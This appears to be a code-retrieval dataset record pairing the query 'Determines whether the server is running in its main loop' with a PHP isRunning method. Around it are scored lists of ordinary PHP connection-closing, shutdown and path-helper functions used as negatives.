$this->disconnect();\n }\n\n throw new FaktoryException('Unable to end connection');\n }\n }", "public function close() {}", "public function close() {}", "public function close() {}", "public function close() {}", "protected function closeConnection()\n {\n fclose($this->client);\n }", "abstract function disconnect($socket);", "function _close() {}", "function shutdownTls($socket): void\n{\n \\set_error_handler(static function (int $errno, string $errstr) use ($socket): never {\n if (\\feof($socket)) {\n $errstr = 'Connection reset by peer';\n }\n\n throw new TlsException('TLS negotiation failed: ' . $errstr);\n });\n\n try {\n // note that disabling crypto *ALWAYS* returns false, immediately\n // don't set _enabled to false, TLS can be setup only once\n \\stream_socket_enable_crypto($socket, enable: false);\n } finally {\n \\restore_error_handler();\n }\n}", "public function close()\n {\n if (null !== $this->handle && \\is_resource($this->handle)) {\n fclose($this->handle);\n $this->handle = null;\n }\n }", "public static function close() {}", "public function close()\n {\n if (fclose($this->stream)) {\n $this->stream = null;\n }\n }", "function _close()\n\t{\n\t\tif (!$this->connection)\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\treturn $this->_send_command('QUIT');\n\t}", "public function close()\n {\n unset($this->conn);\n }", "function close() {\r\n\t\t\tif ( $this->_conn != null ) {\r\n\t\t\t\t$this->_conn = null;\r\n\t\t\t\t@OCILogoff( $this->_conn );\r\n\t\t\t}\r\n\t\t}", "private function close()\n\t{\n\t\tif ($this->memcache_connected)\n\t\t{\n\t\t\t$this->connection->close();\n\t\t\t$this->memcache_connected = false;\n\t\t}\n\t}", "private function mpowerDisconnect()\n {\n if (!fclose($this->_socket)) {\n //Would like to know why this failed but how will php tell me?\n throw new \\Exception(\n sprintf(\n \"[MPServer::mpowerDisconnect]Failed to disconnect from %s:%s.\" .\n \" Unfortunately the reason is unknown\",\n $this->_server, $this->_port\n )\n );\n }\n }", "public function disconnect() : void\r\n {\r\n fclose($this->connection);\r\n }", "public function ldap_close($force = false) {\n $this->ldapconns--;\n if (($this->ldapconns == 0) || ($force)) {\n $this->ldapconns = 0;\n @ldap_close($this->ldapconnection);\n unset($this->ldapconnection);\n }\n }", "public function __destruct()\n {\n try {\n $this->disconnect(true);\n } catch (Exception $e) {\n }\n }", "function close()\n {\n $res = $this->_close();\n $this->_connected = false;\n return $res;\n }", "private function shutdown(): void\n {\n $this->connectionPool->shutdown();\n\n foreach ($this->connectionHandlers as $connectionHandler) {\n $connectionHandler->shutdown();\n }\n\n while ($this->connectionPool->count() > 0) {\n $this->processConnectionPool();\n }\n\n $this->connectionPool->close();\n }", "protected function close()\n {\n if (!$this->_channel) return;\n $this->_channel->close();\n $this->_connection->close();\n }", "public function __destruct() {\n // disconnect\n $this->host = null;\n }", "public function __destruct()\r\n {\r\n if ( $this->state != self::STATE_NOT_CONNECTED )\r\n {\r\n $this->connection->sendData( 'QUIT' );\r\n $this->connection->getLine(); // discard\r\n $this->connection->close();\r\n }\r\n }", "function conn_close() \n {\n\t\t\tmysql_close($this->conn);\n\t\t\tunset($this->conn);\n\t\t\t$this->connectionStatus = false;\n\t\t}", "protected function disconnect()\r\n {\r\n $this->log( \"Closing connection and shutting down.\" );\r\n \r\n fclose( $this->_conn );\r\n exit;\r\n }", "function disconnect()\n\t{\n\t\tswitch($this->dbtype)\n\t\t{\n\t\t\tcase 'mysql':\n\t\t\t\t@mysql_close($this->handle);\n\t\t\t\tbreak;\n\n\t\t\tcase 'mysqli':\n\t\t\t\t@mysqli_close($this->handle);\n\t\t\t\tbreak;\n\t\t}\n\t}", "protected static function shutdown()\n\t{\n\t\tif (MHTTPD::$debug) {cecho(\"Shutting down the server ...\\n\");}\n\t\tMHTTPD::$running = false;\n\t\t\n\t\t// Close listener\n\t\tMHTTPD::closeSocket(MHTTPD::$listener);\n\t\t\n\t\t// Kill all running FCGI processes\n\t\texec('taskkill /F /IM php-cgi.exe');\n\t\t\t\t\n\t\t// Remove any active clients\n\t\tforeach ($this->clients as $client) {\n\t\t\tMHTTPD::removeClient($client);\n\t\t}\n\t\t\n\t\t// Flush any buffered logs\n\t\tMHTTPD_Logger::flushLogs();\t\t\n\t}", "protected function _close()\n\t{\n\t\t$this->connID->close();\n\t}", "public function __destruct()\n {\n fclose($this->server);\n }", "private function stopServer() {\n\t\t$this->socketSend('shutdown');\n\t\tforeach($this->pipes as $pipe) {\n\t\t\tfclose($pipe);\n\t\t}\n\t\tproc_close($this->server);\n\t}", "private function close()\n {\n if ($this->stream) {\n $this->stream->close();\n }\n }", "function closedb(){\r\n\t\tif($this->socket)\r\n\t\t\t\r\n\t\t\tmysqli_close($this->socket);\r\n\t\t\t$this->connected = false;\r\n\t}", "public function close();", "public function close();", "public function close();", "public function close();", "public function close();", "public function close();", "public function close();", "public function close();", "public function close();", "public function close();", "public function close();", "public function close();", "public function close();", "public function close();", "public function close();", "public function close();", "public function close();", "public function close();", "public function close();", "public function close();", "public function close();", "public function close();", "public function close()\n {\n $this->connection = null;\n }", "public function __destruct()\n {\n if ($this->handle[self::PHP]) {\n $this->_close(self::PHP);\n }\n if (is_resource($this->handle[self::PERL])) {\n $this->_close(self::PERL);\n }\n if (is_resource($this->handle[self::PERL_COMPLETE])) {\n $this->_close(self::PERL_COMPLETE);\n }\n if (is_resource($this->handle[self::ERROR])) {\n $this->_close(self::ERROR);\n }\n }", "public function close()\n {\n curl_close($this->handle);\n }" ]
[ "0.79528046", "0.7870402", "0.7799632", "0.77599496", "0.76474595", "0.756666", "0.7502773", "0.72488785", "0.7231688", "0.7164551", "0.7123312", "0.6986614", "0.69509584", "0.6884274", "0.68612117", "0.6859118", "0.6711187", "0.6662875", "0.65347373", "0.6531965", "0.6520059", "0.6448243", "0.6445315", "0.63873494", "0.63319206", "0.6278445", "0.6267049", "0.6216329", "0.62146604", "0.6185309", "0.61819804", "0.6175454", "0.61288226", "0.6093603", "0.6050759", "0.6049544", "0.60357875", "0.6026277", "0.60137033", "0.59929454", "0.5972832", "0.5942396", "0.59245914", "0.5923648", "0.5923648", "0.5923648", "0.59200764", "0.59086674", "0.58945215", "0.5885383", "0.5869733", "0.58688694", "0.58680594", "0.5866824", "0.5865714", "0.585199", "0.58515453", "0.58486766", "0.58471215", "0.5841214", "0.58306986", "0.5830563", "0.5822861", "0.58060765", "0.5803479", "0.5791851", "0.5766671", "0.57640773", "0.5753753", "0.5746838", "0.5739982", "0.5737302", "0.57198894", "0.5713702", "0.57082343", "0.5695718", "0.5695718", "0.5695718", "0.5695718", "0.5695718", "0.5695718", "0.5695718", "0.5695718", "0.5695718", "0.5695718", "0.5695718", "0.5695718", "0.5695718", "0.5695718", "0.5695718", "0.5695718", "0.5695718", "0.5695718", "0.5695718", "0.5695718", "0.5695718", "0.5695718", "0.5693399", "0.56829965", "0.5669949" ]
0.6672524
17
Determines whether the server is running in its main loop.
public static function isRunning() { return MHTTPD::$running; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "private function isMyServer(): bool {\n\t\ttry {\n\t\t\treturn Server::singleton($this->application)->id() === $this->memberInteger('server');\n\t\t} catch (Throwable) {\n\t\t\treturn false;\n\t\t}\n\t}", "public function serverIsRunning(): bool\n {\n [\n 'masterProcessId' => $masterProcessId,\n ] = $this->serverStateFile->read();\n\n return $masterProcessId && $this->posix->kill($masterProcessId, 0);\n }", "public function isForServer()\n {\n return $this->server !== null;\n }", "public function isRunning(): bool\n {\n return $this->handle && $this->handle->status !== ProcessStatus::ENDED;\n }", "public function getIsSystemOn(): bool\n {\n /** @var WebApplication|ConsoleApplication $this */\n return $this->getIsLive();\n }", "public function isRunning() {\n\t\treturn (\"running\" == $this->status());\n\t}", "public function runningInConsole()\n {\n return in_array(php_sapi_name(), ['cli', 'phpdbg']);\n }", "public function runningInConsole()\n {\n return in_array(php_sapi_name(), ['cli', 'phpdbg']);\n }", "public function isRunning()\n {\n return ($this->getStatus() == self::RUNNING);\n }", "public function runningInConsole()\n {\n return php_sapi_name() == 'cli' || php_sapi_name() == 'phpdbg';\n }", "private function _isMine(): bool {\n\t\treturn $this->isMyServer() && $this->isMyPID();\n\t}", "private function get_is_running(): bool\n\t{\n\t\treturn $this->status === self::STATUS_RUNNING;\n\t}", "public function isRunning(): bool;", "public function isStarted()\n\t{\n\t\treturn true;\n\t}", "public function isRunning()\n {\n if (OS::isWin()) {\n $cmd = \"wmic process get processid | findstr \\\"{$this->pid}\\\"\";\n $res = array_filter(explode(\" \", shell_exec($cmd)));\n return count($res) > 0 && $this->pid == reset($res);\n } else {\n return !!posix_getsid($this->pid);\n }\n }", "public function isListened()\n {\n return !empty($this->socket);\n }", "public function isStarted()\n {\n return true;\n }", "public function isStarted()\n {\n return true;\n }", "public function isStarted()\n {\n return true;\n }", "public function runningInConsole()\n {\n return php_sapi_name() === 'cli' || php_sapi_name() === 'phpdbg';\n }", "public function hasRunning()\n {\n return $this->running !== null;\n }", "public static function isServerMode(): bool\n {\n /** @phpstan-ignore-next-line */\n return (defined('SPLASH_SERVER_MODE') && !empty(SPLASH_SERVER_MODE));\n }", "public function hasServerType()\n {\n return $this->server_type !== null;\n }", "public function runningInConsole()\n {\n return \\PHP_SAPI === 'cli' || \\PHP_SAPI === 'phpdbg';\n }", "private function isRunningConsole(): bool\n {\n return $this->app->runningInConsole();\n }", "private static function isStarted()\r\n {\r\n // several functions has been added in php 5.4\r\n // disallow determining session stuff when running from command line\r\n if (php_sapi_name() !== 'cli')\r\n {\r\n // are we on PHP 5.4 or higher?\r\n if (version_compare(phpversion(), '5.4.0', '>='))\r\n return (session_status() === PHP_SESSION_ACTIVE);\r\n else\r\n return (session_id() !== '');\r\n }\r\n\r\n return false;\r\n }", "function isStarted()\n {\n return (TRUE == $this->started);\n }", "public static function getRunning()\n\t{\n\t\treturn false;\n\t}", "public function isStarted()\n {\n return $this->_manager->isStarted();\n }", "public function isMain() {\n\t\treturn $this->_page == null;\n\t}", "public function isReady(): bool\n {\n $serverSetting = $this->server->getServerSetting();\n $cronable = (int)$serverSetting['cronable'];\n if ($cronable !== 1) {\n return false;\n }\n\n return true;\n }", "public function runningInConsole()\n {\n if (null === $this->isRunningInConsole) {\n $this->isRunningInConsole = Environment::get('APP_RUNNING_CONSOLE') ?? isCli();\n }\n\n return $this->isRunningInConsole;\n }", "public function isShutdownHandler(): bool {\n return true;\n }", "public function isCurrent() {\n\n return !empty($this->environment);\n }", "protected function isLastLoop(): bool\n {\n // Count loop\n if (null !== $this->getLoopMax() && ($this->getLoopCount() >= $this->getLoopMax())) {\n $this->requestShutdown();\n }\n\n // Memory\n if ($this->memoryMax > 0 && memory_get_peak_usage(true) >= $this->memoryMax) {\n $this->dispatchEvent(DaemonLoopMaxMemoryReachedEvent::class);\n $this->requestShutdown();\n }\n\n return $this->isShutdownRequested();\n }", "public function isStarted()\n {\n return (bool) $this->_start;\n }", "public function hasServerGameTime()\n {\n return $this->server_game_time !== null;\n }", "public function hasServerPort()\n {\n return $this->server_port !== null;\n }", "public function isListening(): bool\n {\n return $this->listening;\n }", "public function isRunning() {\r\n return $this->_ticker->isRuning();\r\n }", "public function is_daemon_running()\n {\n if(!file_exists($this->get_daemon_pid_file())){\n return false;\n }\n $data = file($this->get_daemon_pid_file());\n $daemonPid = intval( $data[count($data) -1] );\n return $daemonPid ;\n }", "Public Function IsSelfHosted()\n\t{\n\t\tif(class_exists('Zend_Registry'))\n\t\t{\n\t\t\tif(Zend_Registry::get('Application/Mode') == 'SelfHosted')\n\t\t\t{\n\t\t\t\treturn '0';\n\t\t\t}\n\t\t}\n\t\treturn $this->isSelfHosted;\t\n\t}", "public static function isStarted() {\n return self::$isStarted;\n }", "public function isRunning() {\n return $this->getPidFile()->isRunning();\n }", "public function runningInConsole()\n {\n return $this->isCli();\n }", "public function getIsRunning();", "public function isAlive() {\n\t\treturn (($this->active !== null) && $this->connections [$this->active]->isAlive ());\n\t}", "public function isRunning() {\n try {\n $response = $this->execute('status');\n if (strpos($response, 'Child in state ') !== 0) {\n return false;\n }\n\n $state = trim(substr($response, 15));\n\n return $state === 'running';\n } catch (VarnishException $exception) {\n return false;\n }\n }", "public function inCLI()\n {\n return 'cli' == php_sapi_name();\n }", "public function IsCLI() {\n\n $Server= $this->GetRequestContext()->SERVER;\n return !isset($Server['SERVER_SOFTWARE'])\n && (strncmp(PHP_SAPI, 'cli', 3) === 0 || (is_numeric($Server['argc']) && $Server['argc'] > 0));\n }", "public function isStarted();", "public function isStarted();", "public function isStarted();", "public function isMain()\n\t{\n\t\treturn empty($this->config->main) || 0 === strpos($this->reflection->getName(), $this->config->main);\n\t}", "private function needsServerSideSleep()\n\t{\n\t\t/**\n\t\t * If the part doesn't support tagging, i.e. I can't determine if this is a backend backup or not, I will always\n\t\t * use server-side sleep.\n\t\t */\n\t\tif (!method_exists($this, 'getTag'))\n\t\t{\n\t\t\treturn true;\n\t\t}\n\n\t\t/**\n\t\t * If this is not a backend backup I will always use server-side sleep. That is to say that legacy front-end,\n\t\t * remote JSON API and CLI backups must always use server-side sleep since they do not support client-side\n\t\t * sleep.\n\t\t */\n\t\tif (!in_array($this->getTag(), ['backend', 'restorepoint']))\n\t\t{\n\t\t\treturn true;\n\t\t}\n\n\t\treturn Factory::getConfiguration()->get('akeeba.basic.clientsidewait', 0) == 0;\n\t}", "public function isStarted() {}", "protected function runningUnitTests()\n {\n return $this->app->runningInConsole() && $this->app->runningUnitTests();\n }", "public function inConsole()\n {\n return php_sapi_name() === 'cli' || php_sapi_name() === 'phpdbg';\n }", "public static function isRunningOnCgiServerApi() {}", "public function isConnected() {\n return $this->handle !== null;\n }", "public static function isStarted(): bool {\n\t\treturn self::$sessionInstance->isStarted ();\n\t}", "public function isSwooleMode(): bool;", "protected function detectRunMode()\n {\n return PHP_SAPI == \"cli\" ? self::MODE_CLI : self::MODE_WEB;\n }", "public function isMain()\n {\n if (!$this->getUser()->getMain()) {\n return false;\n }\n return $this->getUser()->getMain()->getId() == $this->getId();\n }", "public function runningUnitTests()\n {\n return $this->environment() == 'testing';\n }", "public function isRunningInConsole()\n\t{\n\t\treturn php_sapi_name() === 'cli' || php_sapi_name() === 'phpdbg';\n\t}", "public function isRunning()\n {\n try {\n $result = shell_exec(sprintf('ps %d', $this->pid));\n if(count(preg_split(\"/\\n/\", $result)) > 2) {\n return true;\n }\n } catch(Exception $e) {}\n\n return false;\n }", "public function connected() {\r\n\t\treturn $this->_phpseclib !== null;\r\n\t}", "public function isListening ()\r\n\t\t{\r\n\t\t\t\treturn $this -> currentState == self :: STATE_LISTENING;\r\n\t\t}", "function isListening() {\n\t\treturn !empty($this->data['INFO_REMOTE_METHOD']) && !empty($this->data['INFO_REMOTE_URI']);\n\t}", "public function isOpen(): bool\n\t{\n\t\treturn !is_null($this->socket);\n\t}", "public function keepalive() : bool\n {\n $this->reloadPids();\n\n // if already running don't do anything:\n if ($this->managerIsRunning() === true) {\n return false;\n }\n\n // if there are no workers at all do a fresh start:\n if (empty($this->pids)) {\n $this->start();\n return true;\n }\n\n // startup new workers if necessary:\n $this->adjustRunningWorkers();\n\n // delete old pid files:\n $this->reloadPids();\n\n return true;\n }", "public function isStarted(){\n\t\t\treturn isset( $_SESSION );\n\t\t}", "public function isCliRuntime()\n {\n if ($this->_isCliRuntime === null) {\n $this->_isCliRuntime = strtolower(php_sapi_name()) === 'cli';\n }\n\n return $this->_isCliRuntime;\n }", "protected function managerIsRunning() : bool\n {\n global $argv;\n $cliOutput = [];\n exec('ps x | grep ' . $argv[0], $cliOutput);\n $processCount = 0;\n if (empty($cliOutput)) {\n return false;\n }\n foreach ($cliOutput as $line) {\n if (strpos($line, 'grep') !== false) {\n continue;\n }\n if (strpos($line, '/bin/sh') !== false) {\n continue;\n }\n $processCount++;\n }\n return ($processCount > 1) ? true : false;\n }", "private function needsRestart()\n {\n if (PHP_SAPI !== 'cli' || !defined('PHP_BINARY')) {\n return false;\n }\n\n return !getenv(self::ENV_ALLOW) && $this->loaded;\n }", "public function hasServer(string $name): bool {}", "abstract public function isLoop();", "public function isReady()\n {\n if ($this->client) {\n return true;\n }\n\n return false;\n }", "public static function is_cli(): bool\n {\n return php_sapi_name() == \"cli\";\n }", "public function hasServerTvPort()\n {\n return $this->server_tv_port !== null;\n }", "public function isAlive(): bool;", "public function getIsLive(): bool\n {\n /** @var WebApplication|ConsoleApplication $this */\n if (is_bool($on = $this->getConfig()->getGeneral()->isSystemLive)) {\n return $on;\n }\n\n return (bool)$this->getProjectConfig()->get('system.live');\n }", "private function isRunningFullCodeBase() {\n global $argv;\n return in_array('run', $argv);\n }", "private function isRoot()\n {\n if (isset($_SERVER['SERVER_SOFTWARE']) && preg_match('/(Development Server)/i', $_SERVER['SERVER_SOFTWARE']) && ($_SERVER['REQUEST_URI'] === '/'))\n {\n return true;\n }\n else if(($_SERVER['REQUEST_URI'] === '/') || count(slashExploder($_SERVER['REQUEST_URI'])) === 1)\n {\n return true;\n }\n\n return false;\n }", "public function isStarted() {\n }", "protected function getIsConsoleApp()\n {\n if (defined($this->constant)) {\n return true;\n }\n\n if (\\Yii::$app instanceof \\yii\\console\\Application) {\n return true;\n }\n\n return false;\n }", "static public function isConsole() {\n return isset($_SERVER[\"SHELL\"]) && !self::isWebDocument();\n }", "public static function runningOnWindows() {\n\t\tif (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {\n\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t}", "public static function started()\n {\n return static::$isRegistered;\n }", "public static function isConsole()\n {\n return !\\Zend_Session::$_unitTestEnabled && (PHP_SAPI == 'cli');\n }", "public function isBooted();", "public function isConsole() :bool\n {\n return count($this->console) > 0;\n }", "public function isCLI()\n {\n return php_sapi_name() === 'cli';\n }", "public function isStarted()\n {\n return $this->started;\n }", "public function is_server_ready() {\n\n $configured = $this->is_server_configured();\n if ($configured !== true) {\n return $configured;\n }\n\n // As part of the above we have already checked that we can contact the server. For pages\n // where performance is important, we skip doing a full schema check as well.\n if ($this->should_skip_schema_check()) {\n return true;\n }\n\n // Update schema if required/possible.\n $schemalatest = $this->check_latest_schema();\n if ($schemalatest !== true) {\n return $schemalatest;\n }\n\n // Check that the schema is already set up.\n try {\n $schema = new \\search_solr\\schema();\n $schema->validate_setup();\n } catch (\\moodle_exception $e) {\n return $e->getMessage();\n }\n\n return true;\n }", "public function hasThreads() {\n\t\treturn false;\n\t}", "public function IsStarted()\n {\n $started = $this->GetStarted();\n \n return $started;\n }", "public static function isCommandLineInterface()\n {\n return php_sapi_name() === 'cli';\n }", "function is_cli() {\n return (php_sapi_name() === 'cli');\n}" ]
[ "0.6746405", "0.6707584", "0.6622919", "0.64110506", "0.63055545", "0.6265126", "0.62634087", "0.62634087", "0.62060827", "0.62021744", "0.61749005", "0.6170871", "0.6155611", "0.6134765", "0.6132051", "0.61135215", "0.61058754", "0.61058754", "0.61058754", "0.608774", "0.60759753", "0.6032958", "0.60175955", "0.60134685", "0.60097283", "0.6008658", "0.5982918", "0.59771657", "0.59585905", "0.5952282", "0.59258294", "0.5920819", "0.5889626", "0.5885741", "0.5884969", "0.58707714", "0.5866661", "0.5854744", "0.584373", "0.5827104", "0.5826881", "0.58110726", "0.5810959", "0.57993704", "0.5755429", "0.57533306", "0.5748156", "0.5746619", "0.574203", "0.5739162", "0.57370603", "0.57370603", "0.57370603", "0.5736044", "0.5727293", "0.57182103", "0.57158893", "0.5707217", "0.57048446", "0.56905514", "0.56897664", "0.56861573", "0.5682034", "0.56708723", "0.566818", "0.563481", "0.5610796", "0.5609175", "0.56057036", "0.5600517", "0.5591387", "0.55868775", "0.5577157", "0.5570536", "0.5554708", "0.5551877", "0.55516493", "0.5547778", "0.5547063", "0.5540838", "0.5538651", "0.5536603", "0.5536573", "0.5511418", "0.5501915", "0.5499087", "0.5483781", "0.54831725", "0.5482088", "0.54768425", "0.5475847", "0.5475826", "0.5455634", "0.5447466", "0.54358155", "0.5422616", "0.54192096", "0.54167753", "0.5412522", "0.5411206" ]
0.68174803
0
Returns the configured server initialization path.
public static function getInipath() { return MHTTPD::$config['Paths']['inipath']; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getConfiguredServerRoot()\n {\n return $this->server_root;\n }", "function base_path() {\n return (new Server)->get('DOCUMENT_ROOT');\n }", "public function getBasePath()\n {\n // Check if server base path is defined, if not define it.\n if ($this->serverBasePath === null) {\n $this->serverBasePath = implode('/', array_slice(explode('/', $_SERVER['SCRIPT_NAME']), 0, -1)) . '/';\n }\n\n return $this->serverBasePath;\n }", "protected function getLocalConfigurationPath()\n {\n return __DIR__ . '/../config/blueprints.php';\n }", "function config_path()\n {\n return base_path() . '/config';\n }", "function config_path()\n {\n $paths = getPaths();\n\n return $paths['config'];\n }", "public function config_path();", "protected static function path()\n {\n return config('app.home_path').'/.eco/config.json';\n }", "function get_application_path()\n{\n $proto = \"http\";\n\n // Detect if we are running HTTPS or proxied HTTPS\n if (server('HTTPS') == 'on') {\n // Web server is running native HTTPS\n $proto = \"https\";\n } elseif (server('HTTP_X_FORWARDED_PROTO') == \"https\") {\n // Web server is running behind a proxy which is running HTTPS\n $proto = \"https\";\n }\n\n if( isset( $_SERVER['HTTP_X_FORWARDED_SERVER'] ))\n $path = dirname(\"$proto://\" . server('HTTP_X_FORWARDED_SERVER') . server('SCRIPT_NAME')) . \"/\";\n else\n $path = dirname(\"$proto://\" . server('HTTP_HOST') . server('SCRIPT_NAME')) . \"/\";\n\n return $path;\n}", "public function getInitPaths()\n {\n if (empty($this->initPaths)) {\n foreach ($this->loaded as $bundle) {\n if ($bundle->hasInit()) {\n $this->initPaths[] = $bundle->getPath() . '/config/init.php';\n }\n }\n }\n\n return $this->initPaths;\n }", "public function getServerRelativePath()\n {\n return $this->getProperty(\"ServerRelativePath\");\n }", "public static function getServerDocroot() \n\t{\n\t\treturn MHTTPD::$config['Paths']['server_docroot'];\n\t}", "public function root()\n {\n if ($this['environment']->has('SCRIPT_FILENAME') === false) {\n throw new \\RuntimeException(\n 'The \"`\"SCRIPT_FILENAME\" server variable could not be found.\n It is required by \"Workbench::root()\".'\n );\n }\n\n return dirname($this['environment']->get('SCRIPT_FILENAME'));\n }", "public function getConfigPath(): string\n {\n return Path::unifyPath(Environment::getConfigPath());\n }", "protected function get_config_path()\n\t{\n\t\treturn $this->config_path ?: $this->phpbb_root_path . 'config';\n\t}", "public function getPath(): string\n {\n $root = null;\n $currentDirectory = __DIR__;\n\n do {\n $currentDirectory = dirname($currentDirectory);\n $config = $currentDirectory . '/.refresh-database.yml';\n\n if (file_exists($config)) {\n $root = $currentDirectory;\n }\n } while (is_null($root) && $currentDirectory != '/');\n\n return $config;\n }", "protected function getBasePath()\n {\n return $this->vfs()->url();\n }", "public function getConfigurationPath() {\n return $this->_configuration_path;\n }", "public function getReturnPathServer()\n\t{\n\t\treturn $this->return_path_server;\n\t}", "public function getEnvironmentPath()\n {\n return $this->environmentPath ?: $this->configuration->getRootPath();\n }", "public function path(): string\n\t{\n\t\treturn $this->configPath;\n\t}", "public function getConfigPath() : string\n {\n return $this->configPath;\n }", "public function getConfigPath()\n {\n return $this->_configPath;\n }", "protected function getFrameworkConfig()\n {\n return dirname(dirname(__FILE__)) . '/conf/base.php';\n }", "public function getBasePath()\n {\n return $this->detectBasePath();\n }", "protected function getAppPath()\n {\n return config()->path->app;\n }", "public function getFullPath()\n\t{\n\t\treturn $this->getServerName() . $this->getScriptDirectory();\n\t}", "public function getRootDir()\n {\n return $this->server['DOCUMENT_ROOT'];\n }", "public function getRootPath() {\r\n\t\treturn $this->getFramework()->getPath(Core::PATH_ROOT);\r\n\t}", "public static function getApplicationPath() \r\n {\r\n if (!isset(self::$appPath)) \r\n {\r\n switch ($_SERVER['HTTP_HOST']) {\r\n case 'localhost':\r\n self::$appPath = 'http://' . $_SERVER['HTTP_HOST'] . '/Progetto/';\r\n break;\r\n case 'spano.sc.unica.it':\r\n // configurazione pubblica\r\n self::$appPath = 'http://' . $_SERVER['HTTP_HOST'] . '/amm2015/meloniFabrizio/';\r\n break;\r\n default:\r\n self::$appPath = '';\r\n break;\r\n }\r\n }\r\n \r\n return self::$appPath;\r\n }", "public function rootPath()\n {\n return public_path() . $this->helper->ds();\n }", "public function getApplicationPath()\n {\n return app_path();\n }", "public function get_root_path()\n\t{\n\t\treturn $this->ext_root_path;\n\t}", "public function getRootPath(): string\n {\n return $this->rootPath;\n }", "public function loginPath()\n\t{\n\t\treturn property_exists($this, 'loginPath') ? $this->loginPath : '/';\n\t}", "public function getCachedConfigPath()\n {\n return $this['path.storage'].'/framework/config.php';\n }", "public function getLocalConfigurationFileLocation() {}", "protected function getServerPidPath()\n {\n return config('swoole_http.server.options.pid_file');\n }", "protected function getRootDir()\n {\n return $this->appConfig->getRootDir();\n }", "public function getPublicBasePath();", "public function get_strBasePath()\n {\n return $this->strBasePath;\n }", "static public function getSecureRootPath() {\n\t\treturn Page::$base_ssl_path;\n\t}", "public function getConfigPath () {\n\t\tif (!isset(self::$configPath))\n\t\t\tself::$configPath = BASE_PATH.'/configuration.plist';\n\t\t\n\t\treturn self::$configPath;\n\t}", "protected function getConfigPath()\n {\n return config_path('view-launcher.php');\n }", "public function getRootPath()\n {\n return $this->root_path;\n }", "public function getCachedConfigPath();", "public function getBaseConfigDir()\n {\n return $this->paths->getBaseConfigDir();\n }", "public static function configPath(){\n return \\Illuminate\\Foundation\\Application::configPath();\n }", "static public function getRootPath() {\n\t\treturn Page::$base_path;\n\t}", "public function getApplicationPath() {\r\n\t\treturn $this->getFramework()->getPath(Core::PATH_APPLICATION);\r\n\t}", "public function getWebappPath();", "public function getExternalPath() {\n if (true === $this->_config->getConfigData('development_environment')) {\n $extPath = EXT_ROOT . $this->_config->getConfigData('base_path_dev');\n } else {\n $extPath = EXT_ROOT . $this->_config->getConfigData('base_path');\n }\n return $extPath;\n }", "public function getRootPath()\n {\n return $this->rootPath;\n }", "public function getRootPath()\r\n\t{\r\n\t\treturn $this->rootPath;\r\n\t}", "public function configPath(): string\n {\n return realpath(__DIR__ . '/../config/amfl.php');\n }", "public static function getAppPath():string {\n\n # Set result\n $result = Env::get(\"router_app_path\", true) ?: static::ROUTER_APP_PATH;\n\n # Return result\n return $result;\n\n }", "function base_path()\n {\n $paths = getPaths();\n\n return $paths['base'];\n }", "public function getApplicationPath()\n {\n return $this->applicationPath;\n }", "protected function getApplicationConfigPath()\n {\n return config_path('blueprints.php');\n }", "public static function basePath()\n {\n if(!self::$BASE_PATH){\n $reflector = new \\ReflectionClass(\\BethelChika\\Laradmin\\LaradminServiceProvider::class);\n self::$BASE_PATH= dirname(dirname($reflector->getFileName()));\n }\n return self::$BASE_PATH;\n }", "public function getWebappPath()\n {\n return $this->getServletConfig()\n ->getApplication()\n ->getWebappPath();\n }", "public function getBasePath()\n {\n if ($this->basePath === null) {\n $this->basePath = dirname(getcwd());\n }\n\n return $this->basePath;\n }", "public static function getIniPath(): string\n {\n return php_ini_loaded_file();\n }", "abstract protected function getConfigPath();", "public static function getConfigDir()\n {\n return self::getDir('getConfigHome');\n }", "public static function getHostPath() {\r\n $t = explode('/', $_SERVER['SCRIPT_NAME']);\r\n array_pop($t);\r\n self::$hostPath = implode('/', $t) . '/';\r\n return self::$hostPath;\r\n }", "public static function module_path() {\n return static::config()->get('module_path') ?: realpath(__DIR__ . '/../');\n }", "public function getConfigPath() {\n\t\treturn __DIR__ . '/config/module.ini';\n\t}", "function config_path($path = '')\n {\n return app()->basePath() . '/config' . ($path ? '/' . $path : $path);\n }", "function config_path($path = '')\n {\n return app()->basePath() . '/config' . ($path ? '/' . $path : $path);\n }", "function config_path($path = '')\n {\n return app()->basePath() . '/config' . ($path ? '/' . $path : $path);\n }", "function config_path($path = '')\n {\n return app()->basePath() . '/config' . ($path ? '/' . $path : $path);\n }", "public function environmentPath(): string\n {\n return $this->environmentPath ?: $this->basePath;\n }", "private static function getPath() : string {\n return getBasePath() . '/miaus';\n }", "public static function getBasePath() {\n\t \tif(!isset(self::$basePath)) {\n\t \t\t$script = self::getScriptName();\n\t \t\tself::$basePath = substr (\n\t \t\t\t\t$script,\n\t \t\t\t\t0,\n\t \t\t\t\tstrrpos($script, '/' ));\n\t \t}\n\t \treturn self::$basePath;\n\t }", "private function getPath()\n\t{\n\t\treturn $this->_sys_path;\n\t}", "public function getPath()\n {\n return $this->getCommonOptions()->getPublicPath();\n }", "public function getBasePath(): string;", "public function getBasePath(): string;", "public function getBasePath();", "public function getBasePath();", "public function getBasePath();", "public function getBasePath();", "public function getPath()\n {\n return __DIR__ . '/settings';\n }", "protected function getRootUrl()\n {\n return $this->appConfig->getRootUrl();\n }", "private function getConfigPath($path = '')\n {\n return app()->basePath().'/config'.($path ? '/'.$path : $path);\n }", "public function loginPath()\n {\n return property_exists($this, 'loginPath') ? $this->loginPath : '/auth/login';\n }", "protected function get_default_root_path(): string {\n return dirname($this->nowqsPath, 4) . DIRECTORY_SEPARATOR;\n }", "protected function getLocalRepoPath()\n {\n return sfConfig::get('sf_data_dir').'/'.str_replace(array('/',':'), '_', $this->getScm()->getHost()).'/'.str_replace(array('/'), '_', $this->getScm()->getPath());\n }", "public function getConfigPath() {\n return __DIR__ . '/../../config.yml';\n }", "protected function getAbsoluteBasePath() {}", "public function determineBaseUrl()\n {\n // why this works at all :)\n return dirname($_SERVER['SCRIPT_NAME']);\n }", "protected function setInitialRootPath() {}", "public function getRootPath();", "public function getRootPath();", "public function getAppPath()\n\t{\n\t\t$appName = $this->getAppName();\n\t\tif (empty($this->_appBasePath) || empty($appName)) {\n\t\t\trequire_once 'Syx/Platform/Exception.php';\n\t\t\tthrow new Syx_Platform_Exception('applications base path and application name must assign before use');\n\t\t}\n\t\treturn $this->_appBasePath . '/' . $appName;\n\t}", "public function 